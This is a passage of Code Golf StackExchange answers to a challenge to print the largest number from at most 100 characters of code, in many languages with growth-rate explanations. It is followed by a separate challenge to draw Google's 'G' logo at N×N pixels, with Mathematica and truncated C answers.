{⍞←⎕D}⍣n⍣n⍣n⍣n⍣n⍣n⍣n⍣n⍣n⍣n⍣n⍣n⍣n⍣n⍣n⍣n⍣n⍣n⍣n⍣n⍣n⍣n⍣n⍣n⍣n⍣n⍣n⍣n⍣n⍣n⍣n⍣n⍣n⍣n⍣n⍣n⍣n⍣n⍣n⍣n⍣n⍣n⍣n⍣n⊢n←⍎⎕D ``` 100 char/byte\* program, running on current hardware (uses a negligible amount of memory and regular 32-bit int variables) although it will take a very long time to complete. You can actually run it on an APL interpreter and it will start printing digits. If allowed to complete, it will have printed a number with 10 × 12345678944 digits. Therefore the score is 1010 × 12345678944 / 1003 ≈ 1010353 ≈ 10↑↑3.406161 **Explanation** * `⎕D` is a predefined constant string equal to `'0123456789'` * `n←⍎⎕D` defines **n** to be the number represented by that string: 123456789 (which is < 231 and therefore can be used as a loop control variable) * `{⍞←⎕D}` will print the 10 digits to standard output, without a newline * `{⍞←⎕D}⍣n` will do it **n** times (`⍣` is the "power operator": it's neither \*, /, nor ^, because it's not a math operation, it's a kind of loop) * `{⍞←n}⍣n⍣n` will repeat the previous operation **n** times, therefore printing the 10 digits **n**2 times * `{⍞←n}⍣n⍣n⍣n` will do it **n**3 times * I could fit 44 `⍣n` in there, so it prints **n**44 times the string `'0123456789'`. ⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯ \*: APL can be written in its own (legacy) single-byte charset that maps APL symbols to the upper 128 byte values. Therefore, for the purpose of scoring, a program of N chars *that only uses ASCII characters and APL symbols* can be considered to be N bytes long. [Answer] # Haskell, score: (22265536-3)/1000000 ≈ 2↑↑7 ≈ 10↑↑4.6329710779 ``` o=round$sin pi i=succ o q=i+i+i+i m!n|m==o=n+i |n==o=(m-i)!i |True=(m-i)!(m!(n-i)) main=print$q!q ``` This program is exactly 100 bytes of pure Haskell code. It will print the fourth Ackermann number, eventually consuming all available energy, matter and time of the Universe and beyond in the process (thus *slightly* exceeding the soft limit of 5 seconds). [Answer] # Ruby, \$f\_{\varphi(1,0,0)}(5)\$ (non-deterministic) More precisely: \$f\_{\varphi(\varphi(\varphi(\varphi(\varphi(16381,\omega^2),\omega^2),\omega^2),\omega^2),\omega^2)}(1048577)\$. ``` *h=[[[[n=$$]]]] f=->a{b,c,d=a;b ?a==b ?~-a:a==a-[$.]?[f[b],d,[b,f[c],d]]:d:n+=n} h=f[h]while h!=p(n) ``` [Try it online!](https://tio.run/##DcZNCgIxDIbh/ZxihC78ST1A5XMOErJIppYIUkQQEdGr1zyLl/fxtPcYeweHjpQkTA35rB@jlSr0ZPOiQPSXtcRp5nSUhRubUCU2arzGiZRa@gH9Ozkau7z8ervMvsF923dj/AE) \*`$. == 0` is a global variable. \*Relies on `$$`, the [process ID](https://stackoverflow.com/a/2177022/7741591). I suppose the rules never said random behavior isn't allowed. I'm assuming the maximum PID to be 32768. # Ruby, \$f\_{\varphi(1,0,0)}(3)\$ (deterministic) More precisely: \$f\_{\varphi(\varphi(\varphi(\omega+\omega,\omega^2),\omega^2),\omega)}(16)\$. ``` *h=[[[n=-~$.]]] f=->a{b,c,d=a;b ?a==b ?~-a:a==a-[$.]?[f[b],d,[b,f[c],d]]:d:n+=n} h=f[h]while h!=p(n) ``` [Try it online!](https://tio.run/##DcpBCsIwEEbhfU9RoYuqEw8Q@e1BhlnMNIYplCCCFCn26jGbx7d47499a704mLkgHMNNRLqM8NDdaKYEvVs/KdB6BI1NGrhtE2c2oURslHluEokplivKr3Nkdtl8WZ@9n/Aay7nWPw) \*Previously removed the prints, not sure why but they're back since removing them doesn't really let us improve much. Probably just +1 (or +2 at best) inside the \$f\_{\varphi(1,0,0)}(n+\dots)\$. ### Ungolfed: \*See math explanation below. ``` n = 32768 # n = "count" h = [[[[[n]]]]] # h0 = 32768 # h1 = "count op(h0) count" # ... # h = h5 = "count op(h4) count" f = -> a { # f[a] = reduce(a) b, c, d = a # truncate to first 3 elements if a == [] || a.nil? # if a == "count" n += n # increment counter return n # and replace with counter elsif a.is_a? Integer # if a == int return a - 1 # decrement int elsif a != a-[0] # if a == "++d" return d # return just d else # if a == "d op c" where b = op (*note out of order) return [f[b], d, [b, f[c], d]] # (d op reduce(c)) reduce(op) d end } while h != n # reduce until h == n h = f[h] p(n) end ``` \*We write `"x op(y) z" = [y, z, x]` so that reducing it reduces `y` before `z` and so that `[t] = "count op(t) count"`. ### Math explanation: The code may be approximately understood as a combination of symbolic manipulation and recursive reduction of algebraic expressions. Let `++a` denote `a+1`, the successor of `a`. We then define `reduce("x")` as `x-1`, meaning: * `reduce("++a") = a`. We then try to work out `reduce("x")` for algebraic expressions: * `reduce("a+b") = a + reduce("b") = reduce("++(a + reduce("b"))")` * `reduce("a*b") = reduce("a*reduce("b") + a")` * `reduce("a^b") = reduce("a^reduce("b") * a")` Generalizing this, we get: * `reduce("a op b") = reduce("(a op reduce(b)) reduce("op") a")` where: * `reduce("*") = "+"` * `reduce("^") = "*"` and more generally: * `reduce("op(n)") = op(reduce("n"))` * `x op(0) y = ++x` * `x op(1) y = x+y` * `x op(2) y = x*y` * `x op(3) y = x^y` for simplicity we also define: * `x op 0 = ++x` We then introduce **symbols**. The only symbol is `"count"`, where `reduce("count")` is the amount of times `reduce` has been called. We then apply `x = reduce(x)` until `x = 0` and print the `count`. ### Example: ``` "count^3" 1: reduce("count^3") 2: reduce("count^reduce(3) reduce("^") count") Note: we evaluate right-to-left 3: reduce("count^reduce(3) * count") 4: reduce("count^2 * count") 5: reduce("count^2 * reduce("count") reduce("*") count^2") 6: reduce("count^2 * reduce("count") + count^2") 7: reduce("count^2 * 6 + count^2") 8: reduce("count^2 * 6 + reduce("count^2") reduce("+") ...") 9: reduce("++(count^2 * 6 + reduce("count^2"))") 10: reduce("++(count^2 * 6 + count^reduce(2) reduce("^") count)") 11: reduce("++(count^2 * 6 + count^reduce(2) * count)") 12: reduce("++(count^2 * 5 + count^1 * count)") "count^2 * 6 + count^1 * count" (continue applying reduce(...) until you get 0) ``` Note that the growth relies on the 'lazy' evaluation of `"count"`. Despite how simple it is to normally cube an integer, fully reducing `"count^3"` actually results in `count > 10^10^10^10^10^10^5`. **Let `g(x, n)` be** the final `count` after fully reducing `x` with an initial `count = n`. So from the previous example, `g("count^3", 0) > 10^10^10^10^10^10^5`. **For some intuition on the very fast growth**, notice that `g("a+b", n) > g(a, g(b, n))`. This is because we have to reduce `b` before `a`. This means **addition allows recursion**, and we also know that **multiplication expands into lots of addition**. Then note that * `g("count", n) ~ 2 * n` * `g("count + count", n) ~ 2 * 2 * n = 4 * n` * `g("count + count + ...", n) ~ 2 * 2 * ... * n = 2^k * n` * `g("count * k", n) ~ 2^k * n` * `g("count * count", n) ~ 2^n` * `g("count ^ 2", n) ~ 2^n` * `g("count ^ 2 + count ^ 2", n) ~ 2^2^n` * `g("count ^ 2 * k", n) ~ 2^2^...^n` * `g("count ^ 2 * count", n) ~ n↑↑n` * `g("count ^ 3", n) ~ n↑↑n` * `g("count ^ 4", n) ~ n↑↑↑n` ### Some other values of interest: For the last 3, we define: * `h(0, y) = y` * `reduce(h(x, y)) = "count op(h(reduce(x), y)) count"` ``` g("count^k", n) ~ n↑↑...k arrows...↑↑n g("count^count", n) ~ n↑↑...n arrows...↑↑n ~ Ack(n,n) g("count^(++count)", 20) ~ Toeofdoom's a_20(1) g("count^(++count)", 64) ~ Graham's number g("count^(count+1)", 15) ~ eaglgenes101's number (note count+1 turns into ++(++count)) g("count op(4) 2", 127) ~ col6y's number g("(count op(4) 3) * count", 3) ~ my older/other number g("count op(6) 1", 9) ~ r.e.s.'s number g("(count op(6) 1) * (++count op(4) 1)", 17) ~ Peter Taylor's number g(h(3, "count + count"), 126) ~ this deterministic number g(h(5, 16381), 1048577) ~ this non-deterministic number g("h("count", "count") * count^7", 256^26) ~ Steve H.'s number ``` [Answer] ## Python, 2↑↑11 / 830584 ≈ 10↑↑8.632971 (Knuth up arrow notation) ``` print True<<(True<<(True<<(True<<(True<<(True<<(True<<(True<<(True<<(True<<True<<True))))))))) ``` Probably no computer has enough memory to successfully run this, but that's not really the program's fault. With the minimum system requirements satisfied, it does work. Yes, this is doing bit shifting on boolean values. `True` gets coerced to `1` in this context. Python has arbitrary length integers. [Answer] ## GolfScript,   ≈ fε0(fε0(fε0(fε0(fε0(fε0(fε0(fε0(fε0(126))))))))) This is shamelessly adapted from [another answer](https://codegolf.stackexchange.com/a/18914/3440) by @Howard, and incorporates suggestions by @Peter Taylor. ``` [[[[[[[[[,:o;'~'(]{o:?~%{(.{[(]{:^o='oo',$o+o=<}{\(@\+}/}{,:^}if;^?):?)*\+.}do;?}:f~]f]f]f]f]f]f]f]f ``` My understanding of GolfScript is limited, but I believe the `*` and `^` operators above are *not* the arithmetic operators forbidden by the OP. (I will happily delete this if @Howard wants to submit his own version, which would doubtless be superior to this one anyway.) This program computes a number that's approximately fε0(fε0(fε0(fε0(fε0(fε0(fε0(fε0(fε0(126))))))))) -- a nine-fold iteration of fε0 -- where fε0 is the function in the [fast-growing hierarchy](https://en.wikipedia.org/wiki/Fast-growing_hierarchy#Functions_in_fast-growing_hierarchies) that grows at roughly the same rate as the Goodstein function. (fε0 grows so fast that the growth rates of Friedman's n(k) function and of k-fold Conway chained arrows are virtually insignificant even in comparison to just a single non-iterated fε0.) [Answer] ## dc, 100 characters ``` [lnA A-=ilbA A-=jlaSalbB A--SbLndB A--SnSnlhxlhx]sh[LaLnLb1+sbq]si[LbLnLasbq]sjFsaFsbFFFFFFsnlhxclbp ``` Given enough time and memory, this will calculate a number around 15 ↑¹⁶⁶⁶⁶⁶⁵ 15. I had originally implemented the [hyperoperation](http://en.wikipedia.org/wiki/Hyperoperation#Definition) function, but it required too many characters for this challenge, so I removed the `n = 2, b = 0` and `n >= 3, b = 0` conditions, turning the `n = 1, b = 0` condition into `n >= 1, b = 0`. The only arithmetic operators used here are addition and subtraction. EDIT: as promised in comments, here is a breakdown of what this code does: ``` [ # start "hyperoperation" macro lnA A-=i # if n == 0 call macro i lbA A-=j # if b == 0 call macro j laSa # push a onto a's stack lbB A--Sb # push b-1 onto b's stack LndB A--SnSn # replace the top value on n with n-1, then push n onto n's stack lhxlhx # call macro h twice ]sh # store this macro in h [ # start "increment" macro (called when n=0, the operation beneath addition) LaLnLb # pop a, b, and n F+sb # replace the top value on b with b+15 q # return ]si # store this macro in i [ # start "base case" macro (called when n>0 and b=0) LbLnLa # pop b, n, and a sb # replace the top value on b with a q # return ]sj # store this macro in j Fsa # store F (15) in a Fsb # store F (15) in b FFFFFFsn # store FFFFFF "base 10" (150000+15000+1500+150+15=1666665) in n lhx # load and call macro h lbp # load and print b ``` As noted, this deviates from the hyperoperation function in that the base cases for multiplication and higher are replaced with the base case for addition. This code behaves as though `a*0 = a^0 = a↑0 = a↑↑0 ... = a`, instead of the mathematically correct `a*0 = 0` and `a^0 = a↑0 = a↑↑0 ... = 1`. As a result, it computes values that are a bit higher than they should be, but that's not a big deal since we are aiming for bigger numbers. :) EDIT: I just noticed that a digit slipped into the code by accident, in the macro that performs increments for `n=0`. I've removed it by replacing it with 'F' (15), which has the side effect of scaling each increment operation by 15. I'm not sure how much this affects the final result, but it's probably a lot bigger now. [Answer] ## GolfScript \$ \approx 3.673 \times 10^{374} = 10 \uparrow\uparrow 2.70760 \$ ``` '~'(.`* ``` I think the `*` is allowed since it indicates string repetition, not multiplication. Explanation: `'~'(` will leave 126 (the ASCII value of "~") on the stack. Then copy the number, convert it to a string, and do string repetition 126 times. This gives `126126126126...` which is approximately `1.26 e+377`. The solution is 7 characters, so divide by `7^3`, for a score of approximately `3.673e+374` [Answer] ## Ruby, probabilistically infinite, 54 characters ``` x='a'.ord x+=x while x.times.map(&:rand).uniq[x/x] p x ``` x is initialized to 97. We then iterate the following procedure: Generate x random numbers between 0 and 1. If they are all the same, then terminate and print x. Otherwise, double x and repeat. Since Ruby's random numbers have 17 digits of precision, the odds of terminating at any step are 1 in (10e17)^x. The probability of terminating within n steps is therefore the sum for x=1 to n of (1/10e17)^(2^n), which converges to 1/10e34. This means that for any number, no matter how large, it is overwhelmingly unlikely that this program outputs a lesser number. Now, of course, the philosophical question is whether a program that has less than a 1 in 10^34 chance of terminating by step n for any n can be said to ever terminate. If we assume not only infinite time and power, but that the program is given the ability to run at increasing speed at a rate that exceeds the rate at which the probability of terminating decreases, we can, I believe, in fact make the probability of terminating by *time t* arbitrarily close to 1. [Answer] No more limit on runtime? OK then. Does the program need to be runnable on modern computers? Both solutions using a 64-bit compile, so that `long` is a 64-bit integer. # C: greater than 10(264-1)264, which is itself greater than 1010355393490465494856447 ≈ 10↑↑4.11820744 ``` long z;void f(long n){long i=z;while(--i){if(n)f(n+~z);printf("%lu",~z);}}main(){f(~z);} ``` 88 characters. To make these formulas easier, I'll use `t = 2^64-1 = 18446744073709551615`. `main` will call `f` with a parameter of `t`, which will loop `t` times, each time printing the value `t`, and calling `f` with a parameter of `t-1`. Total digits printed: `20 * t`. Each of those calls to `f` with a parameter of `t-1` will iterate `t` times, printing the value `t`, and calling f with a parameter of `t-2`. Total digits printed: `20 * (t + t*t)` I tried this program using the equivalent of 3-bit integers (I set `i = 8` and had main call `f(7)`). It hit the print statement 6725600 times. That works out to `7^8 + 7^7 + 7^6 + 7^5 + 7^4 + 7^3 + 7^2 + 7` Therefore, I believe that this is the final count for the full program: Total digits printed: `20 * (t + t*t + t^3 + ... + t^(t-1) + t^t + t^(2^64))` I'm not sure how to calculate (264-1)264. That summation is smaller than (264)264, and I need a power of two to do this calculation. Therefore, I'll calculate (264)264-1. It's smaller than the real result, but since it's a power of two, I can convert it to a power of 10 for comparison with other results. Does anyone know how to perform that summation, or how to convert (264-1)264 to 10n? ``` 20 * 2^64^(2^64-1) 20 * 2^64^18446744073709551615 20 * 2^(64*18446744073709551615) 20 * 2^1180591620717411303360 10 * 2^1180591620717411303361 divide that exponent by log base 2 of 10 to switch the base of the exponent to powers of 10. 1180591620717411303361 / 3.321928094887362347870319429489390175864831393024580612054756 = 355393490465494856446 10 * 10 ^ 355393490465494856446 10 ^ 355393490465494856447 ``` But remember, that's the number of digits printed. The value of the integer is 10 raised to that power, so 10 ^ 10 ^ 355393490465494856447 This program will have a stack depth of 2^64. That's 2^72 bytes of memory just to store the loop counters. That's 4 Billion Terabytes of loop counters. Not to mention the other things that would go on the stack for 2^64 levels of recursion. Edit: Corrected a pair of typos, and used a more precise value for log2(10). Edit 2: Wait a second, I've got a loop that the printf is outside of. Let's fix that. Added initializing `i`. Edit 3: Dang it, I screwed up the math on the previous edit. Fixed. --- This one will run on modern computers, though it won't finish any time soon. # C: 10^10^136 ≈ 10↑↑3.329100567 ``` #define w(q) while(++q) long a,b,c,d,e,f,g,x;main(){w(a)w(b)w(c)w(d)w(e)w(f)w(g)printf("%lu",~x);} ``` 98 Characters. This will print the bitwise-inverse of zero, 2^64-1, once for each iteration. 2^64-1 is a 20 digit number. Number of digits = `20 * (2^64-1)^7` = 14536774485912137805470195290264863598250876154813037507443495139872713780096227571027903270680672445638775618778303705182042800542187500 Rounding the program length to 100 characters, Score = printed number / 1,000,000 Score = 10 ^ 14536774485912137805470195290264863598250876154813037507443495139872713780096227571027903270680672445638775618778303705182042800542187494 [Answer] # C (With apologies to Darren Stone) ``` long n,o,p,q,r;main(){while(--n){while(--o){while(--p){while(--q){while(--r){putchar('z'-'A');}}}}}} ``` n = 2^64 digit number (9...) l = 100 chars of code **score ≈ 1e+2135987035920910082395021706169552114602704522356652769947041607822219725780640550022962086936570 ≈ 10↑↑3.2974890744** [ Score = n^5/l^3 = (10^(2^320)-1)/(100^3) = (10^2135987035920910082395021706169552114602704522356652769947041607822219725780640550022962086936576-1)/(10^6) ] Note that I deserve to be flogged mercilessly for this answer, but couldn't resist. I don't recommend acting like me on stackexchange, for obvious reasons. :-P --- EDIT: It would be even harder to resist the temptation to go with something like ``` long n;main(){putchar('z'-'A');putchar('e');putchar('+');while(--n){putchar('z'-'A');} ``` ...but I suppose that an intended but unspecified rule was that the entire run of digits making up the number must be printed. [Answer] # Pyth, fψ(ΩΩ)+7(25626)/1000000 ``` =CGL&=.<GG?+Ibt]Z?htb?eb[XbhhZyeby@bhZhb)hbXbhhZyeb@,tb&bG<bhZ=Y[tZGG)VGVGVGVGVGVGVGVG=[YYY)uyFYHpG) ``` SimplyBeautifulArt has a [fantastic explanation](https://codegolf.stackexchange.com/a/149763/55696) of a function that both of our solutions share, namely that I define a function `y[b,G]` with a global =`g[h,n]`. The major differences are as follows: * I begin my value at the base 256 representation of the ASCII codes for the string "abcdefghijklmnopqrstuvwxyz". * I use bit shifting `.<` to increase the value of `G` instead of addition. * `G` gets incremented each step that `y` gets run including the recursive cases, while SBA's `n` gets incremented outside of his `g` and thus is updated less frequently. * Instead of being satisfied with simply doing `[[],n,n]` (which my code represents as `Y=[-1,G,G]`, I nest `Y` into itself as `Y=[Y,Y,Y]` `G` times, increasing G by calling `Y=y[Y,G]` `2(x+1)` times, where `x` is as many times as it takes the new version of `Y` to reach 0 by these repeated applications. `Y`'s value doesn't actually get reset to 0, because we calculate `x` by counting upwards using the reduce-until-seen-before builtin `u`. * I then wrap the entirety of the above into 7 `for` loops (`VG`), which will repeat the key inner loop that nests `Y` and increases `G` until `repeat(y[Y,G],Y=0` `G` times. * Unwrapping all of these nested `Y`s results in a number that, to the best of my understanding, blows all the other solutions out of the water. I'll hold off on adding my solution to the leaderboard until someone else confirms my math. [Answer] # New Ruby: score ~ fωω2+1(12622126) where fα(n) is the fast growing hierarchy. ``` n=?~.ord;H=->a{b,*c=a;eval"b ?H[b==$.?c:[b==~$.?n:b-(b<=>$.)]*n+c]:p(n+=n);"*n};eval"H[~n];".*n*n<<n ``` [Try it online!](https://tio.run/##JctBCoMwEAXQq0hwoWPNAZKM2eYOkkUm7a78FqGCSHP1qLh7m7f8ZKsV7Iv@LE8beJzSLg/KnOxrTW8ljQ@zMLfaZ3OhnIKRsRPHU6v7SBhyNN8OA6O3ivC/Z5gLolWaQHAOtR4) The `*n` are just string and array multiplication, so they should be fine. ### Ungolfed code: ``` n = 126 H =-> a { b, *c = a n.times{ case b when nil puts(n += n) when 0 H[c] when -1 H[[n]*n+c] else H[[b.-b<=>0]*n+c] end } } (n*n<<n).times{H[~n]} ``` where `b.-b<=>0` returns an integer that is `1` closer to `0` than `b`. --- ### Explanation: It prints `n` at the start of every call of `H`. `H[[]]` doubles `n` (`n` times), i.e. `n = n<<n`. `H[[0,a,b,c,...,z]]` calls `H[[a,b,c,...,z]]` (`n` times). `H[[k+1,a,b,c,...,z]]` calls `H[[k]*n+[a,b,c,...,z]]` (`n` times), where `[k]*n = [k,k,...,k]`. `H[[-1,a,b,c,...,z]]` calls `H[[n]*n+[a,b,c,...,z]]` (`n` times). `H[[-(k+1),a,b,c,...,z]]` calls `H[[-k]*n+[a,b,c,...,z]]` (`n` times). `H[k] = H[[k]]`. My program initializes `n = 126`, then calls `H[-n-1]` 12622126 times. --- ### Examples: `H[[0]]` will call `H[[]]` which applies `n = n<<n` (`n` times). `H[[0,0]]` will call `H[[0]]` (`n` times). `H[[1]]` will call `H[[0]*n]` (`n` times). `H[[-1]]` will call `H[[n]*n]` (`n` times). `H[[-1,-1]]` will call `H[[n]*n+[-1]]` (`n` times). `H[[-3]]` will call `H[[-2]*n]` (`n` times). [Try it online!](https://tio.run/##bctBDoIwEAXQfU/xAzsQYl1b3PYOtYsWMSHBiaGwMKRnr1ATEoFZzfz/ph/tJwSCwIVJiKKCwcQwjz0hq@fcxOs9Dg4JiXQifyep0sl4ncSKyqF9Ne73tUz7hC2p7W5rEhlyAVqjpnOLgxA4/zmpar1T1Q4pW3CdUX6Aryj4TucHutkq2hp6xN0zz@aaax3CFw) --- See [revisions](https://codegolf.stackexchange.com/posts/120228/revisions) for other cool things. [Answer] ## Haskell - Ackermann function applied to its result 20 times - 99 characters This is the best haskell solution I can come up with based on the ackermann function - you may notice some similarities to n.m.'s solution, the i=round$log pi was inspired from there and the rest is coincidence :D ``` i=round$log pi n?m|m<i=n+i|n<i=i?(m-i)|True=(n-i)?m?(m-i) a n=n?n b=a.a.a.a main=print$b$b$b$b$b$i ``` It runs the ackermann function on itself 20 times, starting at one, the sequence being * 1, * 3, * 61, * a(61,61), * a(a(61,61),a(61,61)) --- we will call this a2(61), or a4(1) --- * a3(61) * ... * a18(61), or a20(1). I think this is approximately g18 (see below). As for the estimation, wikipedia says: a(m,n) = 2↑m-2(n+3) - 3 From this we can see a3(1) = a(61,61) = 2↑5964 + 3, which is clearly greater than g1 = 3↑43, unless the 3 at the start is far more important than I think. After that, each level does the following (discarding the insignificant constants in an): * gn = 3↑gn-13 * an ~= 2↑an-1(an-1) If these are approximately equivalent, then a20(1) ~= g18. The final term in an, (an-1) is far greater than 3, so it is potentially higher than g18. I'll see if I can figure out if that would boost it even a single iteration and report back. [Answer] ## **x86 machine code - 100 bytes (Assembled as MSDOS .com file)** *Note: may bend the rules a little* This program will output 2(65536\*8+32) nines which would put the score at **(102524320-1) / 1000000** As a counter this program uses the entire stack (64kiB) plus two 16bit registers Assembled code: ``` 8A3E61018CD289166101892663018ED331E4BB3A01438A2627 018827A0300130E4FEC4FEC4FEC410E4FEC400E431C95139CC 75FB31D231C931DBCD3F4175F94275F45941750839D4740D59 4174F85131C939D475F9EBDD8B266301A161018ED0C3535858 ``` Assembly: ``` ORG 0x100 SECTION .TEXT mov bh, [b_ss] mov dx, ss mov [b_ss], dx mov [b_sp], sp mov ss, bx xor sp, sp mov bx, inthackdst inc bx mov ah, [inthacksrc] mov [bx], ah mov al, [nine] xor ah, ah inc ah inc ah inc ah inthacksrc: adc ah, ah inc ah add ah, ah xor cx, cx fillstack: push cx nine: cmp sp, cx jnz fillstack regloop: xor dx, dx dxloop: xor cx, cx cxloop: xor bx, bx inthackdst: int '?' inc cx jnz cxloop inc dx jnz dxloop pop cx inc cx jnz restack popmore: cmp sp, dx jz end pop cx inc cx jz popmore restack: push cx xor cx, cx cmp sp, dx jnz restack jmp regloop end: mov sp, [b_sp] mov ax, [b_ss] mov ss, ax ret b_ss: dw 'SX' b_sp: db 'X' ``` [Answer] # R - 49 41 characters of code, 4.03624169270483442\*10^5928 ≈ 10↑↑2.576681348 ``` set.seed(T) cat(abs(.Random.seed),sep="") ``` will print out [reproducing here just the start]: ``` 403624169270483442010614603558397222347416148937479386587122217348........ ``` [Answer] # ECMAScript 6 - 10^3↑↑↑↑3 / 884736 (3↑↑↑↑3 is G(1) where G(64) is Graham's number) ``` u=-~[v=+[]+[]]+[];v+=e=v+v+v;D=x=>x.substr(u);K=(n,b)=>b[u]?n?K(D(n),K(n,D(b))):b+b+b:e;u+K(v,e) ``` Output: 10^3↑↑↑↑3 Hints: `G` is the function where G(64) is Graham's number. Input is an integer. Output is a unary string written with 0. Removed for brevity. `K` is the Knuth up-arrow function a ↑n b where a is implicitly 3. Input is n, a unary string, and b, a unary string. Output is a unary string. `u` is "1". `v` is "0000", or G(0) `e` is "000". [Answer] **C** The file size is 45 bytes. The program is: ``` main(){long d='~~~~~~~~';while(--d)printf("%ld",d);} ``` And the number produced is larger than 10^(10^(10^1.305451600608433)). The file I redirected std out to is currently over 16 Gb, and still growing. The program would terminate in a reasonable amount of time if I had a better computer. My score is uncomputable with double precision floating point. [Answer] # GNU Bash, 10^40964096² / 80^3 ≈ 10↑↑2.072820169 ``` C=$(stat -c %s /) sh -c 'dd if=/dev/zero bs=$C$C count=$C$C|tr \\$((C-C)) $SHLVL' ``` C = 4096 on any reasonable system. SHLVL is a small positive integer (usually either 1 or 2 depending on whether /bin/sh is bash or not). 64 bit UNIX only: Score: ~ 10^(40964096409640964096\*40964096409640964096) / 88^3 ``` C=$(stat -c %s /) sh -c 'dd if=/dev/zero bs=$C$C$C$C$C count=$C$C$C$C$C|tr \\$((C-C)) $SHLVL' ``` [Answer] # C, 10^10^2485766 ≈ 10↑↑3.805871804 ``` unsigned a['~'<<'\v'],l='~'<<'\v',i,z;main(){while(*a<~z)for(i=l;printf("%u",~z),i--&&!++a[i];);} ``` We create an array of 258048 unsigned integers. It couldn't be unsigned longs because that made the program too long. They are unsigned because I don't want to use undefined behavior, this code is proper C (other than the lack of return from main()) and will compile and run on any normal machine, it will keep running for a long time though. This size is the biggest we can legally express without using non-ascii characters. We loop through the array starting from the last element. We print the digits of `2^32-1`, increment the element and drop the loop if the element hasn't wrapped to 0. This way we'll loop `(2^32 - 1)^254048 = 2^8257536` times, printing 10 digits each time. Here's example code that shows the principle in a more limited data range: ``` #include <stdio.h> unsigned int a[3],l=3,i,f; int main(int argc, char *argc){ while (*a<4) { for (i = l; i-- && (a[i] = (a[i] + 1) % 5) == 0;); for (f = 0; f < l; f++) printf("%lu ", a[f]); printf("\n"); } } ``` The result is roughly 10^10^2485766 divided by a million which is still roughly 10^10^2485766. [Answer] ## Powershell (2.53e107976 / 72³ = 6.78e107970 ≈ 10↑↑1.701853371) This takes far more than 5 seconds to run. ``` -join(-split(gci \ -r -EA:SilentlyContinue|select Length))-replace"[^\d]" ``` It retrieves and concatenates the byte length of every file on your current drive. Regex strips out any non-digit characters. [Answer] ## Python 3, score = ack(126,126)/100^3 ``` g=len('"');i=ord('~');f=lambda m,n:(f(m-g,f(m,n-g))if n else f(m-g,g))if m else n+g print(f(i,i)) ``` The f function is the ackermann function, which i have just enough space to invoke. Edit: previously "else n+1", which was in violation of challenge rules- kudos to Simply Beautiful Art. [Answer] ## JavaScript 98 chars ``` m=Math;a=k=(''+m.E).replace('.',"");j=m.PI%(a&-a);for(i=j;i<(m.E<<k<<k<<k<<m.E);i+=j)a+=k;alert(a) ``` generates 2.718e+239622337 ≈ 10↑↑2.9232195202 For score of just slightly more than 2.718e+239622331 ≈ 10↑↑2.9232195197 which is the largest I can make it without the browser crashing. (console.log(a) will show you the full output) ### Don't run these: ``` m=Math;a=k=(''+m.E).replace('.',"");j=m.PI%(a&-a);for(i=j;i<(k<<k<<k<<k<<k<<k<<k);i+=j)a+=k;alert(a) ``` would output 2.718+e121333054704 ≈ 10↑↑3.0189898069 (aka 2.718\*10^(1.213\*10^12) to compare to the longer answer: more extreme version, if it didn't crash your browser: (80 char) ``` m=Math;a=k=(''+m.E).replace('.',"");j=m.PI%(a&-a);for(i=j;i<k;i+=j)a+=k;alert(a) ``` which would create a number around the same size as e \* 10^(10^19) ≈ 10↑↑3.106786869689 Edit: updated code original solution only generated 2.718e+464 ]
[Question] [ Write a program or function that takes in a positive integer N, and outputs an N×N pixel image of Google's ["G" logo](https://commons.wikimedia.org/wiki/File:Google_%22G%22_Logo.svg) according to this\* construction: > > [!["G" logo construction](https://i.stack.imgur.com/fMbCw.png)](https://i.stack.imgur.com/fMbCw.png) > > > For example, if N is 400, a 400×400 pixel logo should be output, with correct dimensions and colors: [!["G" logo 400x400 example](https://i.stack.imgur.com/Ga0da.png)](https://i.stack.imgur.com/Ga0da.png) It should look accurate regardless of how large or small N is. e.g. here is N = 13: [!["G" logo 13x13 example](https://i.stack.imgur.com/Rvz2f.png)](https://i.stack.imgur.com/Rvz2f.png) Your code should not need to connect to the internet. For example, scaling an externally hosted svg is not allowed. (Scaling an svg encoded in your code would be fine though.) Anti-aliasing may be used or not. It's up to you. Notice that the horizontal bar of the "G" does not extend all the way to the right edge of the image. The circle curves normally inward on the right edge before it is cut off. **The shortest code in bytes wins.** --- *\* The construction of the logo has been simplified for this challenge. The correct construction can be seen [here](https://g-design.storage.googleapis.com/production/v6/assets/article/evolving-the-google-identity/g-letter.mp4) and [here](https://design.google.com/articles/evolving-the-google-identity/).* [Answer] # Mathematica, ~~229~~ ~~226~~ ~~225~~ ~~224~~ ~~221~~ ~~206~~ 169 bytes Thanks @MartinEnder for 1 byte, @ChipHurst for **37 bytes!** ``` Graphics[{RGBColor@{"#EA4335","#FBBC05","#34A853","#4285F4"}[[#]],{0,-1}~Cuboid~{√24,1},Annulus[0{,},{3,5},{(2#-9)Pi/4,ArcCsc@5}]}&~Array~4,ImageSize->#,PlotRange->5]& ``` What a fun challenge! # Explanation ``` ...&~Array~4 ``` Iterate from 1 to 4... ``` RGBColor@{"#EA4335","#FBBC05","#34A853","#4285F4"}[[#]] ``` Convert the color hex codes to `RGBColor` objects, so that they can be applied to the Google logo graphic. Change the color palette to the `<input>`th color. ``` {0,-1}~Cuboid~{√24,1} ``` Create a filled rectangle (2D cuboid), whose diagonal corners are (0, -1) and (sqrt(24), 1). ``` Annulus[0{,},{3,5},{(2#-9)Pi/4,ArcCsc@5}]} ``` Generate four filled quarter-`Annulus`s, centered at the origin, with inner radius 3 and outer radius 5. Do not draw past `ArcCsc@5` (where the blue segment ends). ``` Graphics[ ... , ImageSize->#,PlotRange->5] ``` Create a graphic with size N x N, from x = -5 to x = 5 (removes the padding). # Outputs N = 10 [![enter image description here](https://i.stack.imgur.com/E5XGe.png)](https://i.stack.imgur.com/E5XGe.png) N = 100 [![enter image description here](https://i.stack.imgur.com/cJFTp.png)](https://i.stack.imgur.com/cJFTp.png) N = 200 [![enter image description here](https://i.stack.imgur.com/QHsnY.png)](https://i.stack.imgur.com/QHsnY.png) N = 10000 (click image for full resolution) [![enter image description here](https://i.stack.imgur.com/ysBYgm.png)](https://i.stack.imgur.com/ysBYg.png) [Answer] ## C (Windows), 311 bytes ``` #include <windows.h> main(int c,char**v){float x,y,a,b,N=atoi(*++v);HDC 